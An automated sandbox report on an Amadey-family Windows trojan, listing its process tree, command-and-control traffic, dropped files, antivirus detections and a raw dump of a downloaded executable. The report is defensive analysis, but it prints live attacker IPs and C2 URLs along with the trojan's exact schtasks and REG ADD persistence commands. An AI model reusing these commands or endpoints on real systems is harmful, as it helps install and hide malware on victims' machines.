Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 5, 2021, 8:52 a.m.	Sept. 5, 2021, 8:56 a.m.

Size	377.1KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`1d11bcec0aff60ec16a81131e2a4d7c3`
SHA256	`63cfd63d995ec04f7c337708ff20ce4e2e118ab32e92395f1a815847bd2c01e2`
CRC32	`25FA3B65`
ssdeep	`6144:PfXs0/QQPDE+49V1NAW42dX7PkKssJB152+c858D6SKz8ynq+C:PfXsRQPDE+49V1NAWjX7kKs85cByzDi`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description)

taos.exe "C:\Users\test22\AppData\Local\Temp\taos.exe"
2548
- rgbux.exe "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe"
  2444
  - cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
    2252
    - reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
      2856
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
    2624
  - santa.exe "C:\Users\test22\AppData\Local\Temp\santa.\santa.exe"
    2944

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
138.197.134.11	Active	Moloch
164.124.101.2	Active	Moloch
185.215.113.20	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 185.215.113.20:80 -> 192.168.56.101:49212	2400024	ET DROP Spamhaus DROP Listed Traffic Inbound group 25	Misc Attack
TCP 138.197.134.11:80 -> 192.168.56.101:49205	2014819	ET INFO Packed Executable Download	Misc activity
TCP 138.197.134.11:80 -> 192.168.56.101:49205	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 138.197.134.11:80 -> 192.168.56.101:49205	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 138.197.134.11:80 -> 192.168.56.101:49205	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49200 -> 185.215.113.20:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 185.215.113.20:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 5, 2021, 8:52 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Sept. 5, 2021, 8:52 a.m.	buffer: SUCCESS: The scheduled task "rgbux.exe" has successfully been created. console_handle: 0x00000007	1	1	0
WriteConsoleW Sept. 5, 2021, 8:52 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://185.215.113.20/gb9fskvS/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://185.215.113.20/gb9fskvS/index.php?scr=1
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://138.197.134.11/santa.clo

Performs some HTTP requests (3 events)

request	POST http://185.215.113.20/gb9fskvS/index.php
request	POST http://185.215.113.20/gb9fskvS/index.php?scr=1
request	GET http://138.197.134.11/santa.clo

Sends data using the HTTP POST Method (2 events)

request	POST http://185.215.113.20/gb9fskvS/index.php
request	POST http://185.215.113.20/gb9fskvS/index.php?scr=1

Allocates read-write-execute memory (usually to unpack itself) (9 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2548 region_size: 2129920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f60000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2548 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02140000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 229376 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00980000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2444 region_size: 1540096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2444 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 229376 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x010b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72692000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2944 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 163840 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0029c000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 5, 2021, 8:52 a.m.	process_identifier: 2944 region_size: 253952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03950000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

rgbux.exe tried to sleep 345 seconds, actually delayed analysis time by 345 seconds

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
file	C:\Users\test22\AppData\Local\Temp\santa\santa.exe

Creates hidden or system file (4 events)

Time & API	Arguments	Return
NtCreateFile Sept. 5, 2021, 8:52 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000000 filepath: C:\Users\test22\AppData\Local\Temp\EWuOJIs\ysNejXur\sqE\3zQKfUo desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: EWuOJIs\ysNejXur\sqE\3zQKfUo create_options: 96 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 4294967295 () share_access: 1 (FILE_SHARE_READ)	3221225530
NtCreateFile Sept. 5, 2021, 8:52 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000000 filepath: C:\Users\test22\AppData\Local\Temp\9n8\mDWLw desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 4 (FILE_ATTRIBUTE_SYSTEM) filepath_r: 9n8\mDWLw create_options: 96 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 4294967295 () share_access: 8 ()	3221225485
NtCreateFile Sept. 5, 2021, 8:52 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000000 filepath: C:\Users\test22\AppData\Local\Temp\EWuOJIs\ysNejXur\sqE\3zQKfUo desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: EWuOJIs\ysNejXur\sqE\3zQKfUo create_options: 96 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 4294967295 () share_access: 1 (FILE_SHARE_READ)	3221225530
NtCreateFile Sept. 5, 2021, 8:52 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000000 filepath: C:\Users\test22\AppData\Local\Temp\9n8\mDWLw desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 4 (FILE_ATTRIBUTE_SYSTEM) filepath_r: 9n8\mDWLw create_options: 96 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 4294967295 () share_access: 8 ()	3221225485

Creates a suspicious process (3 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
file	C:\Users\test22\AppData\Local\Temp\santa\santa.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\santa\santa.exe
file	C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Sept. 5, 2021, 8:52 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe	1	1
ShellExecuteExW Sept. 5, 2021, 8:52 a.m.	show_type: 0 filepath_r: cmd parameters: /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\ filepath: cmd	1	1
ShellExecuteExW Sept. 5, 2021, 8:52 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Sept. 5, 2021, 8:52 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\santa.\santa.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\santa\santa.exe	1	1

An executable file was downloaded by the process rgbux.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Sept. 5, 2021, 8:52 a.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $PELd Î_à (Ô)0@×·Ù\P@ÕÇà1pG(G@0.text` `.rdata@506@@.dataèËÑpL@À.rsrcÇ@ÕÈj@@ÁàÃ1Ã3D$ÂÌ6ïÆÃ)ÃÃUììhESVW8@3ö=4EÜu3VûÿÿPVhDDCVVÿT0CVÿ¤0Cÿ$0CEäPVE¬PVÿ0C=NuüuVûÿÿPVè¡è~CEÔ¡ì~CEØEüÇEä¹y7è_ÿÿÿEüT=Tu&VVVVVÿ00CVVVÿ 0CEèPûÿÿPVÿH0C¡ð~C0CEÌ¡ô~CEÐÇEà ÇEøEøÇMìèçþÿÿ=ÃuVhdDChDCÿl0CVVVÿ0CEÌEìú©u Çô@.ëíEüMøÇEèÇÓèMÐÇð.ÎPEðEðèþÿÿúëuVVVÿ0C5ì{Eì3Eè1Eð=u;EÈPVE¬PVÿÓVVÿ<0CEÄPVEPVÿÓÿ 0CVVVVÿ(0CVEÀPÿ\0CMðEÜè!þÿÿuô%»RÀ]mô6ÝSEô:ÝSUÜMØÂÁèEðEðèøýÿÿEüMôÂPÂÓàEÔèÒýÿÿMðEìEìèÁýÿÿ+}ì5¨LEEä)EüÿMà§þÿÿE8_^P[ÉÂUì¡* ð{ìVÁè3ö;Æv\|SWùØ=é u\VVVVÿd0Cÿ40CVEüPVäûÿÿPVÿ0CVä÷ÿÿPÿ,0CVäóÿÿPVÿ0CVEäPÿ80Ch°DChECÿ0CWèýÿÿÇKu_[^ÉÃUìQeüEüEüð{ÉÃ V5ð{W=3Àÿv;-0@;Çrñ_^Ãÿ5jÿx0C£ð{ÃUìQQÇEü Eü EøPÿuüÿ5ÿ5ð{ÿ¬LEÉÃ3ÀÄEC¸C@ÉuïÃUììV3ö= W=`0Cu,VVVäþÿÿPÿX0CÿP0CVVèÀVVÿ×VVVèÄèÿÿÿh¸Cÿ0Ch¤DCP£ìÿ×£ô{è;ÿÿÿhÔECÿ5ìÿ×£¬LEè8ÿÿÿ3ÿÿ( }VVVÿ1Cÿ0Cÿ^GÇú?\|Ø=ã'rÏ¡ìC£è¶þÿÿ3ÿ95v&= uVVVVVÿt0Cÿ¨0CG;=rÚ3ÿ¡Çø^uVÿ\|0CVVäúÿÿPÿ0CGÿS²\|Õèýÿÿ3ÉùìYuè+þÿÿAùS/\|êj{_=Mu!VVVÿ0CVäúÿÿPÿ@0CVVVVÿ0COuÐÿð{_^ÉÃ=Vu,3öVÿp0CVègVèUhäECèuhèECèXÄ¾z =5uhðECh°FCÿ0CNuá¡C;-£èþÿÿ3À^Âÿ%h0Cÿ%0CÿUìVèKpxèCMHxÆ^]ÃjhXCè3À3ö9uÀ;Æuè$ÇVVVVVè¬ÄÈÿë_èj [ÃPjè'YYuüèÃPè²YøEPVÿuèí ÃPèEäèÝ ÃPWè% ÄÇEüþÿÿÿè Eäè8Ãè· À Pjè2YYÃÿUìQSVWÿ5È+è)ÿ5Ä+ø}üèðYY;÷Þ+ßCørwWèhøCY;øsH¸;øsÇÇ;ÇrPÿuüèöYYÀuG;Çr@PÿuüèàYYÀt1ÁûP4è4Y£È+ÿuè&ÆVèY£Ä+EYë3À_^[ÉÃÿVjj èJðVèôÄ£È+£Ä+öujX^Ã&3À^Ãjh XCèèèíeüÿuèøþÿÿYEäÇEüþÿÿÿè EäèÃèÌÃÿUìÿuè·ÿÿÿ÷ØÀ÷ØYH]Ãjh@XCè3À3ö9uÀ;Æuè7ÇVVVVVè¿ÄÈÿë_è/ j [ÃPjè: YYuüè ÃPèÅ YøEPVÿuè ÃPèz!EäèðÃPWè8ÄÇEüþÿÿÿè EäèKÃèÊÀ PjèE YYÃ¡tCÈ3É9`CÁÁÃÿUìVuF¨uè\|ÇÈÿëgàï}FuVè¤/EeYVè.FYÀyàüFë¨t¨t©uÇFÿuÿuVè-YPè¼,3ÉÄøÿÁIÁ^]Ãjh`XCèF3À3ö9uÀ;ÆuèèÇVVVVVèpÄÈÿë>};þt ÿtÿuÒÿuè£YuüWÿuÿuèÿÿÿÄEäÇEüþÿÿÿè EäèÃÿuèãYÃÿUì=lCuèL2ÿuè0hÿèYY]ÃjXhXCè3öuüEPÿ¬0Cjþ_}ü¸MZf9@u8¡<@¸@PEu'¹f9@u¸t@v3É9°è@ÁMäëuä3ÛCSè}9YÀujèXÿÿÿYèÀujèGÿÿÿYè9]üè²6À}jèYè6£ä;è:6£hCè5À}jètYèB3À}j ècYSèY;ÆtPèQYèÙ2]Ät·MÈëj YQPVh@èfúÿÿEà9uäuPèè¹}üë5Eì MÜPQè51YYÃeèEÜEà}äuPèuèÇEüþÿÿÿEàë3À@ÃeèÇEüþÿÿÿ¸ÿèmÃè8éyþÿÿÿUìVÿ5pC5´0CÿÖÀt!¡pCøÿtPÿ5pCÿÖÿÐÀtøë'¾2CVÿ°0CÀuVè<YÀthü1CPÿ`0CÀtÿuÿÐEE^]ÃjèÿÿÿYÃÿUìVÿ5pC5´0CÿÖÀt!¡pCøÿtPÿ5pCÿÖÿÐÀtüë'¾2CVÿ°0CÀuVèÁYÀ request_handle: 0x00cc000c	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (5 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline	REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline	cmd /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\

Communicates with host for which no DNS query was performed (2 events)

host	138.197.134.11
host	185.215.113.20

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (3 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\santa.exe	reg_value	C:\Users\test22\AppData\Local\Temp\santa.\santa.exe
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2444 resumed a thread in remote process 2944
NtResumeThread Sept. 5, 2021, 8:52 a.m.	thread_handle: 0x00000728 suspend_count: 1 process_identifier: 2944	1	0	0

File has been identified by 24 AntiVirus engines on VirusTotal as malicious (24 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37526572
Cylance	Unsafe
Alibaba	Trojan:Win32/GenKryptik.17926e71
K7GW	Trojan ( 00581a251 )
CrowdStrike	win/malicious_confidence_100% (W)
ESET-NOD32	a variant of Win32/GenKryptik.FJRR
Kaspersky	HEUR:Trojan.Win32.Generic.Cds.a
BitDefender	Trojan.GenericKD.37526572
Avast	Win32:Trojan-gen
Tencent	Win32.Trojan.Generic.Dygn
Ad-Aware	Trojan.GenericKD.37526572
Sophos	Mal/Generic-S
McAfee-GW-Edition	RDN/Generic.tfr
FireEye	Generic.mg.1d11bcec0aff60ec
Emsisoft	Trojan.GenericKD.37526572 (B)
MAX	malware (ai score=86)
Microsoft	Trojan:Win32/Hynamer.B!ml
GData	Trojan.GenericKD.37526572
McAfee	RDN/Generic.tfr
VBA32	BScope.Trojan.Hlux.01739
Fortinet	W32/GenKryptik.FJRR!tr
BitDefenderTheta	Gen:NN.ZexaF.34126.xy3@aOORzIoi
AVG	Win32:Trojan-gen

taos.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All